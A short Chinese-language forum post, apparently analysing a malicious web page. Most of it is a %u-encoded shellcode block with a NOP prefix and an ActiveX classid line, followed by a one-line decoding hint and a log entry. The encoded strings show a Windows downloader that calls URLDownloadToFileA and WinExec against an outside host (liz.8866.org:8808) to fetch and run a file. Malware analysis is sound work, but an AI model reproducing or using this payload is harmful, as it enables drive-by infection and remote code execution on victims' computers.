通过代码判断出事shellcode加密
把kof替换%u
var da2123x=da2123 da21234 da212345;
duiniqmafbi[ setAttribute ]( classid , da2123x);
bupale= %u9090 %u90 90
%uefe9%u0000%u5a00%ua164 %u0030%u0000%u408b%u8b0c
%u1c70%u8bad%u0840%ud88b %u738b%u8b3c%u1e74%u0378
%u8bf3%u207e%ufb03%u4e8b
%u3314%u56ed%u5157%u3f8b
%ufb03%uf28b%u0e6a%uf359
%u74a6%u5908%u835f%u04c7
%ue245%u59e9%u5e5f%ucd8b
%u468b%u0324%ud1c3%u03e1
%u33c1%u66c9%u088b%u468b
%u031c%uc1c3%u02e1%uc103
%u008b%uc303%ufa8b%uf78b
%uc683%u8b0e%u6ad0%u5904
%u6ae8%u0000%u8300%u0dc6
%u5652%u57ff%u5afc%ud88b
%u016a%ue859%u0057%u0000
%uc683%u5613%u8046%u803e
%ufa75%u3680%u5e80%uec83
%u8b40%uc7dc%u6303%u646d
%u4320%u4343%u6643%u03c7
%u632f%u4343%u03c6%u4320
%u206a%uff53%uec57%u04c7
%u5c03%u2e61%uc765%u0344
%u7804%u0065%u3300%u50c0
%u5350%u5056%u57ff%u8bfc
%u6adc%u5300%u57ff%u68f0
%u2451%u0040%uff58%u33d0
%uacc0%uc085%uf975%u5251
%u5356%ud2ff%u595a%ue2ab
%u33ee%uc3c0%u0ce8%uffff
%u47ff%u7465%u7250%u636f
%u6441%u7264%u7365%u0073
%u6547%u5374%u7379%u6574
%u446d%u7269%u6365%u6f74
%u7972%u0041%u6957%u456e
%u6578%u0063%u7845%u7469
%u6854%u6572%u6461%u4c00
%u616f%u4c64%u6269%u6172
%u7972%u0041%u7275%u6d6c
%u6e6f%u5500%u4c52%u6f44
%u6e77%u6f6c
%u6461%u6f54
%u6946%u656c%u0041
%u7468%u7074%u2f3a%u6c2f%u7a69%u382e%u3638%u2e36%u726f%u3a67%u3838%u3830%u612f%u622f%u2e66%u7363%u0073
然后ESC两次解密 见截图
=============================
附件:
您所在的用户组无法下载或查看附件log
Log is generated by FreShow.
[object]http://liz.8866.org:8808/a/bf.css